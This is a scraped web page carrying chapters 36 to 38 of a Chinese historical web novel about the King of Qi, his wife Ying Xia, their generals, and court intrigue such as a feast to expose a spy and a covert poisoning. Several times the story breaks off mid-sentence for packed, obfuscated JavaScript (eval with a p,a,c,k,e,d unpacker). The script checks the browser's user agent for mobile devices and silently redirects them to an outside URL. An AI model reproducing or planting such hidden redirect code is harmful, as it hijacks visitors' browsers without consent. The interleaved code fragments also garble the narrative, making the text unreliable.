d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422694|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杏了。” 成婚三年,姚复也多少摸清楚了应瑕的脾气——她眼里似乎没什么情绪,从来没说过喜欢或欣赏。她眼里流露出的大多是理智、玩味和野心,思念这种感性的东西,真还是第一次见。 还是思念一个婢女。 “……行。”姚复轻轻拍了拍应瑕的肩膀,“你也别太伤心,不过是两个婢女。” 当时应瑕跟着去定州的时候两个小姑娘留在赣州照应应琼,嫩杨在战乱中失了踪迹,银杏感伤了好一段时间,回了长沙之后便被应琼做了主找了个好人家嫁了。 应瑕上前一步,抱住姚复,掩盖住眼神中一抹复杂的情绪。 生死有命罢了,没什么好伤心。只是得知她的存在的人,又少了一个罢了。 她们不只是婢女,也是她的情感寄托。 等回了长沙,已经过了两日。 北方天气都要转凉了,江南地带还是灼热无比。 应瑕从街上随意带了一些胭脂,又拿了些银子,先去看了银杏。应家也算是她娘家人了,银杏的夫家也不敢怠慢,恭恭敬敬地把人迎了进去。 男人热络的给姚复敬着茶,一边跟姚复说着什么客套寒暄话,到最后又绕到要钱上。应瑕哪怕说一个字都会被这人极其无礼地打断,惹的她频频皱眉。银杏端着一个盘子站在角落,原本圆润可爱的脸蛋瘦了不少,整个人看着也是阴郁憔悴形容枯槁。 姚复本来是要看看银杏过的怎么样的,准备到最后再把钱偷偷塞给银杏,好让她生活好些。眼见着这男人掉钱眼里一样,对银杏的生活闭口不谈或是飞速岔开,一说要钱便滔滔不绝。 他第三次旁敲侧击询问姚复带了多少钱时,姚复终于忍不住了。齐王怒不可遏地站起身来,抄起桌上的东西,什么紫砂茶壶白玉纸镇,噼里啪啦地往那男人身上扔,吓得那男人吱哇乱叫地蹬腿往后缩。 桌上的东西砸完了姚复犹嫌不解气,顺手把桌子也掀了:“钱钱钱,就知道钱,我问你什么你没听吗!你什么身份我什么身份,我问的事你不说,你还敢跟我要钱?!” 应瑕见事态隐隐有控制不住的趋势,连忙起身拉住姚复:“你别生气了。也不知道三喜从哪找的这么个垃圾——” “是,赤玉也该教训——”姚复被应瑕搂着腰,上半身动弹不得,两条腿仍挣扎着踢了那男人两脚。 男人显然没想到齐王脾气如此暴躁,连忙爬起来,躲到一边的银杏背后。 姚复一向脾气不错,鲜少有发怒的时候,就算发怒也鲜少动手打人,这男的真是触及了他的底线。 “什么玩意儿!”姚复骂了一句,停下了动作,应瑕也松开手来,在他耳边说了句:“你看银杏。” 姚复这才注意到角落里的银杏,登时心里的火又起来了,猛然上前拽住银杏,拎着她的衣领子把人扔到了应瑕那边,自己抬脚就继续踢那男人,一边踢一边骂,这次下手比方才重的多,说的话也大多是定州一带的方言。 应瑕听不太懂,但可以确定很脏。 银杏看着姚复的动作,有些忐忑地抓着应瑕的衣袖。 应瑕深深叹了一口气:“如果你还当我是小姐,就跟我回去罢。” 银杏终于恢复了一丝少年时期的灵动,哭着抱住应瑕:“小姐永远是小姐,我愿意跟小姐回去。” 哪怕她的小姐已经不是从前那位小姐,哪怕做奴婢要世世代代入贱籍。可小姐就是小姐。 36. 第36章 应瑕轻轻抚了抚她的头发,说:“好。” 银杏的男人对她不好,这几乎是肉眼可察的。银杏是应瑕手下的人,相当于她的面子,这男人驳了应瑕的面子,跟驳了齐王的没什么区别。男人打妻子不算是大罪,可以下犯上就是大罪了。 见姚复没有停手的意思,应瑕只好再度上前拉住了姚复:“行了,别打了,要出人命的。” 姚复悻悻就着应瑕的力度后退两步,咬牙说:“迟早要处死,不如现在就让我打死他。呸,打女人的孬种。” 应瑕强拉着他退到后面去,无奈说道:“男子殴打妻子致死才能处监禁。以下犯上也只是打一百二十板,哪里来的处死。” 姚复动作停顿一下,随后缓缓扭头看向应瑕,有些不可置信地问:“殴打致死处监禁?哪个蠢货写的法条?” “司空谷啊。不是他管内政?”应瑕撤开手,环臂看着他。 紧接着姚复便更猛烈地爆发了:“什么玩意!他怎么干的!我要撤了他的职!罚他俸禄!” 应瑕再度拉住姚复:“你闹什么!这不是沿用的大梁法条?” 姚复冷静下来,摩挲着下巴,沉吟一会儿,忽然问道:“那我现在能改罢。你说改成死罪如何?” “随你便。”应瑕翻了个白眼。跟姚复交流简直就是浪费生命,还以为打仗打几年把那些什么少年气血都磨砺掉了,没成想还是这样。 可惜今天没带剑,不能当场把这人绳之以法。好在这家子家境还算殷实,外边的侍卫不少,也都知道来的是齐王。姚复拍拍手,喊来了几个人,让把那男人拖了下去,押进大牢等候发落。 虐待妻子不是大事,主要是他敢打应瑕的脸。 “看样子前朝的律法有许多不足之处——”姚复垂头看着应瑕的脸,“改制一事改提上日程了。” 恰巧陈重熙还在长沙,巴州也传来了消息——韩玉笙被司空谷打晕绑了,几人不日便能回来。而桥虹的闺女刚满了两个月,他也匆匆赶了回来。 “何止改制,别忘了封坛拜将一事。”应瑕推着银杏往门外走去。 这一阵子是有的忙了。姚复深深叹口气,对一边的侍卫说:“一个都别放过,全给我抄了。蚂蚁窝用水淹,耗子洞放火烧,门口那棵树也给我掘了——鸡蛋都不要放过。下次我再来这地方必须是一个活的都没有,蚯蚓都不行!” 接着便往外走了,侍卫还能听见没他的自语声:“反了天了敢打双福的脸,不给他点颜色瞧瞧我都无颜苟活于世……” 韩玉笙确确实实是被绑回来的,结结实实绑的跟麻花一样,在前面领兵骑马的是司空谷,李小姐坐在马车里扶着连嘴都被堵着的韩玉笙。这事她默许了,连年征战不仅仅会让兵士劳于奔波心力交瘁,也会使百姓叫苦连连难于生计。尤其是韩玉笙那个不要命的打法,谁也受不了。 他被李小姐从马车里拉出来时来接应的韩玉筝都差点没笑出来,姚复更是毫不顾及地笑的上气不接下气,还得应瑕在一边拍着他顺气。 “让你莽着去打仗,回来了吧!”姚复勉力站直身子,指着狼狈回来的韩玉笙嘲笑,“不亏我下了几道令才把你弄回来!” 韩玉笙一边无助地呜呜叫喊着一边翻着白眼表示抗议。 封坛拜将不能再拖了,再怎么抗议也不成,姚复不可能多宰好几头牛替每个人都办一次典礼。这也太浪费了,牛还得留着耕地呢。 按着推演出来的黄道吉日,几个主将终于被拜了将军。解臻和解斛珠只在当日从定州回来,蹭了些牛肉和酒水,得了将军的封号,又马上回去驻守了。 韩玉笙坐在底下,跟旁边的陈重熙滔滔不绝地抱怨:“我马上就打到交趾了,凭什么拦着我!版图难道不是越大越好?要这个大将军的头衔有什么用,最后不还是要死?你说弄这个有什么用!我看大王真是一天天闲的没事干了,屈郢在东边还盯着咱们呢!到时候趁早把朝廷给灭了,哪还有那么多事——” 陈重熙使劲掐了他一把,逼着他把嘴闭上,不远处应瑕已经把脸挪向了他们这边——应瑕一诺千金,自然会放了他们性命,可若是罚俸禄可就说不准了。 应瑕显然注意到了他们,投过来一个满带威胁的眼神,便又把头扭了回去,继续盯着坐在一边的姚复。 “你想被罚俸别带着我啊。”陈重熙咬牙切齿地说,随后不动声色地离韩玉笙远了一点,“我又没有家底,还得养妻子儿女——” “那怎么了!”韩玉笙强硬的又凑了过去,继续抱怨,“你们这群文人到底在犹豫什么啊,直接打过去不就好了。磨磨唧唧的。罚俸有什么好怕的,又死不了——你不是还开了书局赚了不少钱?” “玉筝,玉筝——”陈重熙一边观察着应瑕那边的情况,一边低声喊着韩玉筝。 封坛拜将的仪式早就结束了,这一会儿马上就要开宴了,韩玉筝和李小姐猫在后面不知道捣鼓些什么。韩玉筝一听到陈重熙喊她,马上偷偷过来了,瞪着一双清澈的眼询问什么事。 “你管管他!没完没了了,咱们还有两个孩子要养呐,俸禄待会儿罚没了都。”陈重熙有些委屈地夸大了事态,一边朝着韩玉筝使劲挤眼睛,装出可怜的神态。 韩玉筝使劲踢了亲哥一脚,拉着陈重熙起来了:“走。” 韩玉笙能拿到韩家大部分财产,夫妻二人没有孩子又常年打仗,省下的钱不计其数。可陈重熙和韩玉筝拿到的财产全都留给了韩玉童做嫁妆,开的医馆只勉强够生计,还得应付陈重熙偶尔的善心,大发。更何况现实中还有小孩——他们夫妻能指望的真是只有不菲的俸禄了。 差点就被韩玉笙造没了。 陈重熙不能擅自离席,但是被夫人带走就可以。 “真是的……”韩玉笙揉着被韩玉筝踢疼的大腿,痛心疾首地自言自语,“嫁出去的妹妹泼出去的水,玉筝居然帮着一个外人欺负我……” 宴会很快就开始了,不知道陈重熙偷偷跟姚复说了什么,排好的座位硬是改了,韩玉笙顶替了新涂的位置,带着李夫人水灵灵坐到了应瑕眼皮子底下那个位置上。 韩玉笙差点没用武陵话骂人。虽然明知应瑕听不懂,他到底不敢再开口说话了。 早知道就用鄂州话偷偷抱怨,这样大约也就只有李夫人能听懂并且愿意听了—— 韩玉笙不快地拿着酒杯喝闷酒,李小姐拽了他几次也不管用,只听到姚复不知道在上面说些什么玩意,听也听不下去,只好继续喝酒。期间李小姐拽他的力道越来越大,韩玉笙只当李小姐见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14434007|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝酒太多过于焦虑,只摆摆手示意自己没事。 直到有人喊他名字。 “韩将军,韩将军!” 韩玉笙恍然回头,才发现姚复一只在喊他,也不知喊了多久,这一会儿脸上的表情已经隐隐透出不耐来。 “啊,臣在。”韩玉笙连忙放下酒杯,有些局促地回应。 “你想什么呢,”姚复放下手里的杯子,见他回应,表情也柔和下来,换回了平常那幅市井纨绔的笑容,“快说说现在这个形势怎么继续打。” 韩玉笙微微愣了一下,捏紧杯子,复而说道:“能趁早解决掉朝廷和屈郢自然是极好的。我听说大王与魏王结了盟,那么便与魏王两面夹击好了,我领兵从岭南打江州,令魏王从北打齐州,分散屈郢兵力,再派解将军或者新将军拖住屈郢主力……” “还可以直接由巴入秦,挟天子以令诸侯。或者直接把皇帝砍了也好,省得他闹事。” 韩玉笙行军打仗就爱莽着来,一路马不停蹄往前使劲打,说出来这话和他的行军风格倒是一点也不违和。 姚复也捏紧了杯子,问道:“……除了这些,还有吗?” 韩玉笙有些不解地挠挠头:“我只懂打仗,大王要出奇计尽管找桥虹,问我作甚。” “没什么——只是孤以为韩将军有经世之才,幸亏没落到楚王手里。” 姚复一边说一边瞟着不远处一个婢子,韩玉笙听着他这话更是百思不得其解。姚复看那婢女做什么?自己看上了那长相寡淡的小姑娘还是要赐给他?好像哪一点都不太可取吧? “大王谬赞,臣真的只会打仗。”韩玉笙不明所以,但还是客套的回答。 姚复的表情似乎出现一丝裂缝,应瑕投来一个恨铁不成钢的眼神,李小姐也痛心疾首地往他腰上使劲掐了一把。韩玉笙不懂,但极其委屈。 齐王把目光投向桥虹,先是笑着举杯敬酒,随后说:“唉,桥参谋也有大才,张夫人不是生了个女儿,不如定个娃娃亲——” 桥虹好像受了什么刺激,连忙站起身推脱:“不敢当不敢当,小女身份低贱,怎么敢与公子相提——” 韩玉笙更迷惑了,只见姚复好像很生气地一拍桌子,怒声道:“桥参谋,不要敬酒不吃吃罚酒!孤愿意与你定娃娃亲是给你面子,你要不愿意,赶明投奔楚王去。” “他们在玩什么啊?演的还这么假。f你看夫人那个眼神,嫌弃的没边了都。”韩玉笙迷惑地偏头问李小姐。 李小姐往他碗里多加了两筷子肉:“吃你的吧,别管那么多!” 接着姚复就佯装很生气地拂袖离席而去了,应瑕状似挽留地急急跟了出去。桥虹失魂落魄地坐了回去。 方才姚复看的那个婢女端着个酒壶上去了,一边斟酒一边说着什么。 李小姐生怕韩玉笙上去问,赶紧拉着他出去了。 也不知道韩玉笙真傻还是假傻,方才他闷头喝酒的时候大家眼神交流了个遍,敲定了席间有细作。即便韩玉笙错过了那一段,姚复暗示都那么明显了,竟然还不懂! “上次他有说这些吗?”韩玉笙站在门口,迷惑的喃喃自语。 李小姐听不懂他说的什么,重重拍了一下他的后腰:“夫君,你以后还是少说话的好。” 37. 第37章 不日便传来了桥虹举家离开投奔屈郢的消息,一时间军中谣言四起、众说纷纭。 有人认为桥虹不满齐王给的待遇,故而离去,有人说屈郢开出了更好的条件,也有人说桥虹其实是屈郢安插在我军的间谍,也有与此观点相悖的,认为桥虹是去屈郢军中做间谍。 这些消息真假参半,让韩玉笙本来就不太聪明的脑子雪上加霜。 回了长沙就得听君令,韩玉笙走不了,就天天到处打听桥虹离开到底是怎么个事,被姚复和应瑕搪塞了不下五次,陈重熙和司空谷也不肯说。眼见着军中关于桥虹叛逃的说法愈演愈烈,韩玉笙实在是分不清哪些是真,哪些又是假。 反正他不太相信桥虹真会叛逃,这对他也没什么好处。 还来不及深究,他就又被赶回滇州了。本来这也算好事,可结合前面问了姚复几次被赶出来的经历,被赶回滇州似乎就别有深意了。 “他俩什么毛病?这一点小事都要逼着我?”韩玉笙坐在马车上,愤愤不平地对李小姐说。 李小姐捏紧了团扇柄又松开,反复几次,终于压下了把扇子掼到他头上的念头,最终踩了他一脚,说道:“闭嘴罢!让你去滇州就去滇州,桥参谋怎么样和你又有什么关系!” 韩玉笙见妻子也恼了,只好抱着胸自己生闷气。 这小两口被扔回滇州,最急的还是姚复——这个决定是应瑕全权做的,姚复并不是很赞同——但还是按着应瑕要求的做了。 “他们在滇州不会闹事吗?”姚复远远见着马车出了长沙,心里的焦虑再也按捺不住,连忙回了家去质问应瑕。 新建的府邸,修建时工匠出了些小失误,导致几间屋子都没有窗子或是窗子朝北。偏偏应瑕就喜欢这几间乌漆麻黑的房间,有时白天也会在里面掌着灯不知道做些什么。姚复不太喜欢这些黑暗的屋子,总感觉阴森森的,应瑕在里面做自己的事时他从来也没有过一探究竟的想法。 这还是头一回进某间黑暗的屋子。 应瑕坐在桌案后面,手中端着的的蜡烛映亮了她半张脸,剩下的光线便是方才姚复开门时透进来的一线阳光。 闻言她只是将蜡烛放在桌上,将桌上的书卷稍微整理一下,淡然说道:“能有什么事,韩玉笙行事莽撞,但胜多败少,不必担心滇州的情况。倒是应该关心关心魏王的情况。” 魏王一回去就被楚王和朝廷两面夹击,解臻反应速度极快,马上发兵救援去了,解斛珠自己留守雒邑倒是有些力不从心。 “解臻不是救援去了?”姚复将门开的更大一点,好让阳光能照进来更多,自己则上前坐在案前,试图吹灭蜡烛,却被应瑕伸手挡了一下。 “别闹,我不太喜欢阳光。”应瑕将蜡烛挪远一点,自己也往阴影里挪了一点,只留一片裙角在阳光下。 应瑕不喜欢阳光是肉眼可见的,冬日时阳光微弱,她出来的还多些,夏日时烈日炎炎,基本上不出门,出门也是躲在树荫下或阴影处。陪着姚复出去玩也都是勉勉强强地,姚复偶尔还会打趣她不似活人,竟不喜阳光。 姚复笑了笑,又马上收起笑靥,问道:“难道还要再追加两万精兵支援吗?” 应瑕摇摇头:“不必追加兵力,但是你总得有点诚意吧。” 解臻可没说自己承袭君命前去救场的,况且解斛珠自己在定州也坚持不了多久。姚复还是得领兵自己过去,至少也得意思意思。 姚复趴在桌上,有些丧气。他现在一想到屈郢那张半死不活的脸都心烦,更多的还是大仇难以得报的不满与愤懑。更何况让应瑕看见他吃了败仗被困在启封城的狼狈模样,使得对屈郢的不满更上一层楼。 还有……一丝恐惧无法释怀。他害怕自己过去,看见屈郢心神大乱,再吃败仗。 “如果作为盟主不能有所表态,你让天下人怎么看。”应瑕托着蜡烛,继续开口说道。 天下人都知道解臻是姚复的手下,解臻救援就相当于齐国去救援。可解臻没拿到君命,也未曾宣扬过受命,不过去亲征让大家怎么看,看解臻打算自立为王? “我知道了……”姚复把脸埋在袖子里。 他实在猜不透应瑕到底在想些什么,她的计划好像是步步为营,在下一盘大棋,可他有时感觉自己不是执棋人,不过也是应瑕手下的一枚棋子。那么,与应瑕对弈的是谁? 或许是屈郢,或许是皇帝,姚复不太明白。 姚复带着兵士去了,但自己没上去打仗。他坐在战车里,扒着车上的轼勾着头看战况,一回头魏王就坐在不远处的战车里,同样扒着把手往外看。 这种姿势很危险的,战场上满天飞箭,一不小心就要被扎成刺猬,姚复也是上过战场的,看似宽松的外袍里还穿了软甲,魏王本先见姚复毫无顾忌地伸头去看,自己便也按捺不住好奇心看了两眼,果不其然肩膀上中了一箭。 姚复看也不看他,应瑕从车里拿出来兜鍪和远镜递给他——这从西洋传过来的东西确实好使,平原地形也能一眼看见对方的行军方向。 姚复可不是像魏王那样单纯来看热闹的,他一边拿着远镜观望楚军行迹,一边喊着让后面的步兵和弓兵不断变换队形应敌。事实证明那什么兵书还是挺有用的,好在姚复先前看完了大半本,又给麾下的将士、谋士们都过了一遍。 屈郢打仗到了晚上必定要退兵的,打仗打了一天,没让屈郢拿到好处,但也没让他吃到苦头。 敌军越退越远,应瑕拉了拉姚复的衣袖:“咱们也退兵。” 姚复放下远镜,有些震惊地转过头:“为什么?” 夜袭敌营虽说没什么道德,可是谁打仗还要道德啊。宋襄公不鼓不成列,最后却害死了自己,姚复不信应瑕没听过这个故事。斩草不除根,来年定然酿成大祸,上次屈郢退兵时他自己状态也不济,这次逮到了机会又怎么能轻易放过? “你听我的就是!”应瑕有些生气了,不自觉地抬高了声线,一双好看的眉毛已经高高挑起,眼中也明显燃起了怒火。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447550|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚复心中一惊,只好松口答应了。 姚复这个倔性子不下点猛料是绝不会听劝的,可应瑕实在不敢让他去冒着风险夜袭敌营。能不能打赢不重要,主要是不能让他亏损阴德了——再怎么说,碧姬之死也有他们的一份。若在扰了屈郢祭奠碧姬,屈郢能干出什么来当真不好说。 战车浩浩荡荡退回城里——应瑕理论上的故里平阳。 她人生前十年在平阳,在江南遭遇了土匪之后便去了长安。 头一日表征一下自己的诚意便罢了,第二日上战场还是得靠解臻,魏王硬要跟着才受了伤,想必再也不敢去了。姚复便牵了一匹马来,跟着应瑕在平阳城骑马步月观景。 天已经凉了,平阳比长沙冷的多,正是夜色凉如水,姚复甚至感觉自己的软甲上结了霜。 “平阳有什么好玩的?”姚复控着缰绳,往应瑕身边凑近了一点。 应瑕垂着睫毛,捏紧了缰绳,又抬眼看向夜空中杳渺的星火,说道:“我不知道。在平阳的时候,就像是上辈子的事。” 她确实没有任何关于平阳的记忆。她的人生应该从十五岁遭遇山匪开始,而不是从理论上记忆开始的时候。也因此,她对平阳、对江南、对长安,乃至对父母都没有什么身后的感情。或许是因为天生薄情,或许只是别的什么原因。 “不知道也就罢了,我也很少记得十岁之前的事情。”姚复的脸在月光下噙着笑,他对应瑕的回答没有任何不满。只当是人之常情。 “月色不也很美。”姚复微微笑着,看向应瑕,期待着她能给出什么回应。 应瑕抬眼看向月亮。 月亮啊,月亮。谁会知道这温和的月华会变成杀人的刀,半轮弦月会变成吃人的恶兽呢? 痛苦的回忆似乎还在眼前,只有夜空与黑暗能让恐惧难安的心神稍稍稳定。 姚复见应瑕不答,总也有些尴尬,好在这个时节的平阳虽有肃杀之气,却也有桂花盛开,姚复好像找补一样急忙说道:“你不喜欢月色也罢。弦月确实不如满月。只是满街桂树飘香也是不错的。‘花团夜雪明,叶剪春云绿。风影清似水,霜枝冷如玉。’白乐天不是这样说么?” 应瑕勉强一勾唇,看向路边一棵桂树,忽然说道:“桂枝用来入药是不错的材料。可若将蟾宫桂树的老枝锯来做兵器,比凤凰的铁骨铸成的长剑还要锋利。” 虽然姚复没听过什么桂枝做武器或者拿凤凰的骨头铸剑的传说,应瑕这没头没脑的一句话也听不大懂,可蟾宫折桂什么意思他还是懂得的。怎么说也是个好词,说明应瑕心情应当不错了罢。 可是说完这一句话又没了下文,姚复实在有些尴尬,却也不好回马——说好了要和应瑕整夜在外面看月亮的。 平阳街上实在古板,与启封长沙的繁华几乎完全不能比,也难怪应瑕对平阳没什么深刻印象。世上平凡的地方多的是,不是每个地方都是声震天下的名城,也许只有在这片土地上土生土长的人才能见到它独特的美。 38. 第38章 凡人属于烟火,将士属于硝烟。 饶是百般不愿,姚复还是得去慰问魏王的伤势。 “魏王大人——” 管事不认识齐王,便不由分说的将姚复夫妻拦在门外,管事的一双三角眼转了两圈,见姚复穿的衣服不算华贵,也不肯交钱进门,立刻招呼着家丁把大门关上:“诶,你俩,来把门关上,别让这两个刁民脏了大王的眼——” 两个家丁上前一步,正要关门,应瑕忽然上前,抽出姚复腰间挂着的剑,横亘在门口处,架着门缝,让那两人愣了一下,旋即应瑕便硬往门里挤了起来。女子身材纤细,挤进去本不是难事,两个家丁怕出了人命,也放松了力气。 “门关上啊!用力啊!死人了算在我头上——”管事见家丁唯唯诺诺的样子,一跺脚,呵斥道。 家丁犹豫了一瞬,随后便用力推门。可应瑕拿着剑横在胸前,这剑的材质本就不一般,更何况应瑕脱了剑鞘,剑刃已经牢牢卡在了木头的缝隙里,她本身力气又大,拿一手抵住剑刃,家丁怎么也推不动门。 姚复连忙上前一步,推着应瑕的背,伸头往里喊:“魏王大人——” 一直卡着木门又不是个事,还得魏王亲自出来解围。 魏王的夫人还是听得出来姚复的声线的,急急提了鞋子出了门,走到门口见到几人对峙的场景,连忙喝退了管事,让人把门打开:“刘管事!你不想干了?这是齐王和齐王夫人!你们两个,快把门打开!” 管事闻言唯唯诺诺地后退了半步,有些心虚地瞧了姚复两眼。应瑕伸手把剑拔出来,带起几片木屑之余又推手把剑送进了尚在姚复腰间的剑鞘,冷冷扫了一眼那门,说道:“门板损坏的木料,我们会赔付。” “不必了不必了,”魏夫人赔着笑,大方得体地说,“本就是我们待客不周。刘管事,快给齐王和夫人道歉。” 刘管事自知逃不过,只好上前垂着头道歉:“齐王大人赎罪!小的不知啊……” 魏王夫人是个很传统又很典型的大家闺秀当家主母,与眼界开阔的应瑕完全不同,见着管事这个态度,当即有些嗔怒:“你这有诚意吗?跪下认罪!” 眼见着刘管事马上要跪,姚复下意识伸手一扶:“不至于不至于。夫人也别对下人太苛刻。我们今日过来是慰问魏王的伤势——” 魏夫人笑了一下,说道:“劳齐王费心,我家大王不过是受了些皮外伤,医师说不打紧。” “事端到底是因我而起,魏王也是见了孤上车才跟着去了。”姚复微微蹙眉,睫毛也半垂下,目光投向魏夫人绣缀着云纹的裙摆,好像很愧疚,“孤与夫人还是要亲眼见到大王无碍才好。我们也略带了薄礼,聊表歉意,放在车子上。” 魏夫人有与魏王的小妾斗法的手段与经验,却着实不懂政治上那些勾心斗角弯弯绕绕,别人稍微一演就当了真。姚复又和她儿子差不多年龄,见到他一副歉疚的模样,当即软了心肠不疑有他,立刻放人进了屋。 应瑕垂下眸子,掩盖住唇角一丝笑意。 魏夫人看着客人进了门,便冷了脸,吩咐府里的侍卫:“把刘管事拖出去打死。堵着嘴,别脏了贵人的耳朵。” 侍卫领了命,利落的在刘管事求饶之前拿布条塞了他的嘴拖了下去。魏夫人头也不回,带上门便进了屋子。 屋里装潢很是奢华,正中放着一面屏风,上面题着当代某位书法大家的真迹,墙上挂的图画是百年前失传的宝物,屋里燃着的香烛都散发着优质脂膏的甜香,做桌案的木料还隐隐透着香气。 魏夫人拉开屏风,露出趴在床榻上的魏王,自己则俯身坐在了榻上。 “大王伤势不重,只是昨日回来受了惊,便发了高烧,这一会儿还没退呢。”魏夫人摸了摸魏王的胖额头,垂眸微笑着。 那两杆箭插在肩头上看着就疼,要说伤势不重是不可能的,也不知道魏夫人出于什么心理说出来这种话。 “夫人,恕我失礼——能看看伤口吗?” 姚复上前一步,柔声询问。他亲眼看见那两杆箭射过去的,实在好奇伤势不重是有多不重。他穿着软甲还擦破了一层皮,毁掉了整件外袍呢,更何况是一整个什么也没带的魏王。 “当然可以。”魏夫人微笑着抬头,随后有些顾虑地看了应瑕一眼,“只是应夫人还在……” 应瑕翻了个白眼,背过身去。魏王身材也不好,相貌也平平,年纪还比应摇光都大,谁愿意去看他那一身肥肉。 姚复尴尬地笑了笑。魏夫人轻轻掀开被子,又除掉魏王的外袍,露出来他缠绵绷带的脊背——肩胛部分的绷带甚至已经被鲜血洇透了。 屋里陷入沉寂,紧接着姚复的抽气声想起,他震惊地看向魏夫人,指着床上的魏王问:“这、这……这叫伤势不重?” “我家大人先前向我说过,杀不了他的都不算重伤。”魏夫人掩唇,眼角落下几滴泪。 死了也不叫重伤啊。姚复嘴角微微抽搐,心中直叹魏夫人眼盲心瞎。听说当初魏王是拿了魏夫人的嫁妆才成了业,有钱了又纳了几房小妾,现在因为自己受了伤还得魏夫人照顾。什么人啊这。 姚复一时也不知说什么好,见着魏夫人替魏王盖好被子,才拉了应瑕过来。应瑕被他拉的一个趔趄,但好像明白了他什么意思,微微抬眼对魏夫人说:“我夫君的意思是,要不你们和离?” 姚复重重一拍额头。他只是想让应瑕来帮忙打圆场,这下倒好,应瑕根本没理解他什么意思。 魏夫人咬着手帕哭起来:“应夫人不要站着说话不腰疼,我要是离了大王,该怎么过啊?齐王难道就没有纳妾那一天吗?难道到时候你也要和离?” “……”应瑕眼皮子动了动,手指捏紧了袖子,“要是齐王纳一两房妾我也勉强能接受,可是魏王都纳了十几房了——” 姚复连忙上前抱住应瑕,把她拉开:“行了行了,不说这个了。我可不会纳妾——和离不和离是人家的家务事,我们外人也管不着。” 应瑕哪哪都好,就是看不起人,喜欢拿自己的理论说服别人。 不过无所谓,金无足赤人无完人,有缺点的才是活生生的人。他也不希望应瑕是天边遥不可及的月,云上睥睨众生的神。 应瑕小声询问:“不是你让我这么说的?” 姚复压低声音回复:“我没让你这么说啊——” 魏夫人只见两人抱在一起说悄悄话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456739|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听不见他们说什么,但显然应瑕方才说的话戳到了她心窝子,咬着手帕顺了顺气之后便下了逐客令:“二位,我们家庙小,装不下你们这两尊大佛——” 姚复连忙松开应瑕,扭头赔笑:“夫人见谅,内人从小金枝玉叶,养的娇蛮了些,也不会说话,惹的夫人伤心了。” 应瑕寻了空子,见到桌上的茶水,偷偷挪了两步过去,背着身子,袖口垂在杯子正上方,一只指甲大小的虫子沿着应瑕雪白的袖子爬下来,精准落进茶水,转瞬之间便消失不见了。 她早打听过了,魏夫人喝茶只爱龙井,桌上的却是花茶,显然是准备放凉了给魏王喝的。 这虫子留给魏王也算是物有所值了。 姚复与魏夫人寒暄了两句便拉着应瑕连忙出了门。 下人早就把车上的东西搬空了,车子行起来比先前轻巧的多。姚复不禁有些好奇地问:“你带的什么礼?” 姚复本来说随便带两块成色不足的玉璧或是几匹绫绢充充样子也就作罢,可应瑕叫解臻忙活着搬了好几个沉甸甸的大箱子上了车。 “一箱木偶,一箱药材,还有一箱……”应瑕的话头止住,随后说,“记不清了。” 一准不是什么好东西。姚复实在没想过应瑕这么记仇,先前她似乎也没这么睚眦必报。 再者,之前不是打过了? “你开心就好,不过说到药材……先前那蛇胆呢?”姚复摩挲了两下下巴,忽然问道。 应瑕惬意地踢掉一只鞋子,身体往后靠了一下,随口说:“我在长沙有间密库,放那里面了。你可别打它的主意,我还有用呢。” “我又不是勾践,能对那人头大的蛇胆有兴趣?”姚复哑然失笑,凑上前去,“我有兴趣的还是你那密库……素日里不见你喜欢什么东西,那里面都放的什么?” 应瑕随手拆下头上的簪子,把头发披散下来,笑着回答:“蛇胆、宝珠,还有……那几盒印着周南产的胭脂。” 这下姚复算是懂了应瑕是怎么从赣州追到周南来的了,心里暗叹失策,又只能自己怪自己,千言万语堵在心头,万般懊悔一块上涌,最终只在脸上凝练出一个羞涩而又尴尬的微笑,掩饰自己内心的羞耻与无奈。 还没等他再酝酿词汇,利刃的破空声陡然传来,一支箭刺穿帷幔,直直落在姚复脚边。来不及多想,姚复大喝一声:“停车!” 随后便压着应瑕的脑袋,躲过一边袭来的箭矢,连忙下了车。 余光看见不远处几个黑衣人,两个人拿着弓弩,正对着他们的脑袋,还有几个拿着寒光凛冽的长剑,一步几尺得冲过来。 